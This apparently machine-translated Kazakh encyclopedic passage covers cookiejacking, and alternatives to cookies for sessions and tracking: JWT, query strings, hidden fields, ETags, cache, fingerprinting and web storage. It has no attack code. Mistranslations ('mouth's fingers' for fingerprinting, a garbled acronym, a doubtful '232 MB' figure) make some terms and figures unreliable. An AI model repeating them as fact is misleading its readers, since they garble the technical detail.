Cookiejacking - бұл Internet Explorer-ге қарсы шабуыл, ол шабуылшыға пайдаланушыны экраннан бір нысанды сүйрету арқылы пайдаланушының сеанстық cookie файлдарын ұрлауға мүмкіндік береді. Microsoft бұл кемшілікті "пайдаланушының қажетті өзара әрекеттесу деңгейі" үшін төмен тәуекел деп есептеді. Соған қарамастан, зерттеуші шабуылды 150 Facebook досына жасап, олардың 80-інің cookie файлдарын әлеуметтік инженерия арқылы алды.
Дұрыс емес сәйкестендіру
Егер компьютерде бірден көп браузер қолданылса, олардың әрқайсысында әдетте cookie файлдарын сақтауға арналған бөлек орын болады. Сондықтан cookie файлдары адамды емес, пайдаланушы тіркелгісі, компьютер және веб-браузердің жиынтығын анықтайды. Осылайша, бірнеше тіркелгілерді, компьютерлерді немесе браузерлерді пайдаланатын кез келген адамның бірнеше cookie жиынтығы бар. Сондай-ақ, cookie файлдары бірдей пайдаланушы тіркелгісі, компьютері және браузері бар бірнеше пайдаланушыларды ажыратпайды.
Cookie файлдарына балама
Cookie файлдарын пайдалану арқылы орындалатын кейбір операцияларды басқа да механизмдер арқылы жасауға болады.
JSON веб-токендері
JSON Web Token (JWT) - пайдаланушының жеке басын және шынайылығын сақтау үшін пайдаланылатын ақпараттың өзіндік пакетін білдіреді. Бұл оларды сеанстық cookie-файлдар орнына пайдалануға мүмкіндік береді. Браузердің әрбір HTTP сұранысына автоматты түрде қосылатын cookie файлдарынан айырмашылығы, JWT веб-қосымшаның әрбір HTTP сұранысына нақты қосылуы керек.
HTTP аутентификациясы
HTTP протоколына негізгі кіру аутентификациясы мен аутентификация протоколдары кіреді, олар веб-бетке тек пайдаланушы дұрыс пайдаланушы аты мен паролін берген кезде ғана кіруге мүмкіндік береді. Егер серверге веб-бетке кіру үшін осындай анықтама қажет болса, браузер оларды пайдаланушыдан сұрайды және оларды алғаннан кейін браузер оларды сақтап, әрбір келесі бетке сұрау салуда жібереді. Бұл ақпаратты пайдаланушыны іздеу үшін пайдалануға болады.
URL (сұрау сабы)
URL-дің сұраныс тізбегі бөлігі әдетте осы мақсатта пайдаланылады, бірақ басқа бөліктер де қолданылуы мүмкін. Java Servlet және PHP сессия механизмдері, егер cookie рұқсат етілмесе, осы әдісті қолданады. Бұл әдіс веб-сервердің веб-беттің ішіндегі барлық сілтемелерге бірегей сессия идентификаторын қамтитын сұраныс тізбелерін қосудан тұрады. Пайдаланушы сілтемеден кейін браузер сұраныс тізбегін серверге жібереді, бұл серверге пайдаланушыны анықтауға және күйін сақтауға мүмкіндік береді. Сұрау саптарының бұл түрлері cookie файлдарына өте ұқсас, өйткені екеуінде де сервер таңдаған кездейсоқ ақпараттар бар және екеуі де әр сұраныс кезінде серверге қайтарылады. Алайда кейбір айырмашылықтар бар. Сұрау сабы URL-дің бір бөлігі болғандықтан, егер URL-ді кейін қайта қолданса, серверге бірдей қоса берілген ақпарат жіберіледі, бұл шатастыруға әкелуі мүмкін. Мысалы, егер пайдаланушының қалауы URL сұраныс тізбегінде кодталған болса және пайдаланушы осы URL-ді басқа пайдаланушыға электрондық пошта арқылы жіберсе, бұл қалаулар басқа пайдаланушы үшін де қолданылады. Сонымен қатар, егер бір пайдаланушы бір бетке әр түрлі көздерден бірнеше рет кірсе, әр жолы бірдей сұраныс тізбегінің пайдаланылатынына кепілдік жоқ. Мысалы, егер пайдаланушы сайттың ішкі бетінен бірінші рет келіп, екінші рет сыртқы іздеу тетігінен келіп, сол бір бетті араласа, сұраныс тізбелері әртүрлі болуы мүмкін. Егер бұл жағдайда cookie файлдары қолданылса, онда олар бірдей болады. Сұрау саптарының басқа кемшіліктері қауіпсіздікке байланысты. Сұрау сабында сессияны анықтайтын деректерді сақтау сессияны бекіту шабуылдарын, сілтеме жасаушы журналдағы шабуылдарды және басқа да қауіпсіздікті пайдалануды қамтамасыз етеді. HTTP cookie ретінде сеанс идентификаторын беру қауіпсіз.
Қалыпта жасырылған өрістер
Сеансты бақылаудың тағы бір түрі - жасырылған өрістері бар веб-формаларды пайдалану. Бұл әдіс URL сұраныс тізбегін ақпараттарды ұстау үшін пайдаланумен өте ұқсас және көптеген бірдей артықшылықтары мен кемшіліктері бар. Шын мәнінде, егер нысан HTTP GET әдісімен өңделсе, онда бұл әдіс URL сұраныс тізбектерін пайдалануға ұқсас, өйткені GET әдісі URL-ге сұраныс тізбегі ретінде нысан өрістерін қосады. Бірақ көптеген нысандар HTTP POST арқылы өңделеді, бұл нысанның ақпаратын, жасырылған өрістерді қоса алғанда, HTTP сұранысының құрамында жіберіледі, ол URL-дің немесе cookie-тің бөлігі емес. Бұл тәсіл ізденушінің көзқарасы бойынша екі артықшылыққа ие. Біріншіден, іздеу ақпаратын URL-ге емес, HTTP сұранысының құрамына орналастыру, оны орташа пайдаланушы байқамайды. Екіншіден, пайдаланушы URL-ді көшіргенде (бетті бетке қою немесе оны электрондық пошта арқылы жіберу үшін) сессия туралы ақпарат көшірілмейді.
window.name DOM қасиеттері
Барлық қазіргі веб-браузерлер DOM қасиеттер терезесін пайдалана отырып, JavaScript арқылы деректердің өте үлкен мөлшерін (232 MB) сақтай алады. аты. Бұл деректер сеанстық cookie-файлдардың орнына пайдаланылуы мүмкін. Бұл әдіс JSON/JavaScript объектілерімен клиенттік жақта сеанс айнымалыларының күрделі жиынтықтарын сақтау үшін біріктірілуі мүмкін. Оның жаман жағы - әр жеке терезеде немесе қойындыда бастапқыда бос терезе болады. ашылған кездегі атау. Кейбір жағынан бұл cookie-файлдарға қарағанда қауіпсіз болуы мүмкін, өйткені оның мазмұны cookie-файлдар сияқты әр сұраныс бойынша серверге автоматты түрде жіберілмейді, сондықтан ол желілік cookie-файлдарды жұту шабуылдарына ұшырамайды.
IP мекенжайы
Кейбір пайдаланушылар парақты сұраған компьютердің IP-мекенжайы бойынша қадағалануы мүмкін. Сервер браузерді (немесе проксиді, егер ол қолданылса) орындайтын компьютердің IP-мекенжайын біледі және теориялық тұрғыдан пайдаланушының сессиясын осы IP-мекенжаймен байланыстыра алады. Алайда, IP-адрестер сеансты қадағалаудың немесе пайдаланушыны анықтаудың сенімді тәсілі емес. Көптеген компьютерлер, мысалы кеңсе немесе үй компьютерлері, желілік адрестер аударғышының (NAT) артында. Бұл бірнеше компьютердің жалпы IP-адресі болады дегенді білдіреді. Бұдан басқа, кейбір жүйелер, мысалы Tor, Интернет анонимділігін сақтауға арналған, IP-адресі бойынша ізденуді практикалық емес, мүмкін емес немесе қауіпсіздік тәуекеліне айналдырады.
ETag
ETag-тар браузердің кэшінде сақталғандықтан және сол ресурсқа арналған кейінгі сұраулармен қайтарылғандықтан, бақылау сервері браузерден алынған кез-келген ETag-ты қайталап, тағайындалған ETag-тың шексіз уақытқа сақталуын қамтамасыз ете алады (тұрақты cookie файлдарына ұқсас). ЕҚТГ деректерін сақтауды қосымша кэштеу баспа өрістері де жақсарта алады. ETag-тарды кейбір браузерлерде браузер кэшін тазалау арқылы тазалауға болады.
Шолғыштың кэші
Браузердің кэшін жеке пайдаланушыларды қадағалау үшін пайдаланылатын ақпаратты сақтау үшін де пайдалануға болады. Бұл әдіс веб-браузер кэшке сақталған ресурстарды веб-сайттан жүктеудің орнына кэште ресурстың ең соңғы нұсқасы бар екенін анықтаған кезде пайдаланады. Мысалы, веб-сайт пайдаланушы үшін бірегей идентификаторды белгілейтін кодты JavaScript файлына бере алады (мысалы, var userId = 3243242;). Пайдаланушының алғашқы сапарынан кейін, әрбір рет ол сайтқа кіргенде, бұл файл серверден жүктеудің орнына кэштен жүктеледі. Сондықтан оның мазмұны ешқашан өзгермейді.
Браузердің саусақ іздері
Браузердің саусағының іздері - идентификациялау мақсатында браузердің конфигурациясы туралы жиналған ақпарат, мысалы, нұсқа нөмірі, экранның ажыратылуы және операциялық жүйе. Аузыңның саусақтары жеке пайдаланушыларды немесе құрылғыларды cookie-файлдар өшірілген кезде де толық немесе ішінара анықтау үшін пайдаланылуы мүмкін. Веб-аналитика қызметтері веб-браузердің негізгі конфигурациясын ұзақ уақыт бойы жинады, бұл шынайы адам веб-трафигін дәл өлшеу және әр түрлі түрдегі шертуді алдауды азайту үшін. Клиент жағындағы скрипт тілдерінің көмегімен әлдеқайда эзотерикалық параметрлерді жинау мүмкін. Мұндай ақпаратты бір ғана тізбеге біріктіру құрылғының саусақ ізін құрайды. 2010 жылы EFF браузердің саусақ ізін алудан мүмкін болатын кем дегенде 18,1 биттік энтропияны өлшеді. Қаламша бармақ ізін алу, жаңа техника, тағы 5,7 битті қосады.
Веб-қойма
Кейбір веб-браузерлер тұрақтылық механизмдерін қолдайды, бұл беттің ақпаратты кейінірек пайдалану үшін жергілікті түрде сақтауға мүмкіндік береді. HTML5 стандартына (көптеген заманауи веб-браузерлер белгілі бір деңгейде қолдайды) веб-қойма деп аталатын JavaScript API кіреді, ол екі түрге мүмкіндік береді: жергілікті сақтау және сессиялық сақтау. Жергілікті сақтау тұрақты cookie-ке ұқсас, ал сессиялық сақтау сессиялық cookie-ке ұқсас, бірақ сессиялық сақтау жеке қойындының / терезенің өмір сүру мерзіміне (басқаша айтқанда, беттік сессия) байланысты, сеанстық cookie-лер сияқты бүкіл браузер сессиясына емес. Internet Explorer браузердің тарихындағы, браузердің сүйіктілеріндегі, XML-де сақталатын ("пайдаланушы деректері") немесе дискіге сақталған веб-беттерде тұрақты ақпаратты қолдайды. Кейбір веб-браузер плагиндері тұрақтылық механизмдерін де қамтиды. Мысалы, Adobe Flash-те Local ортақ объектісі бар, ал Microsoft Silverlight-те оқшауланған сақтау орны бар.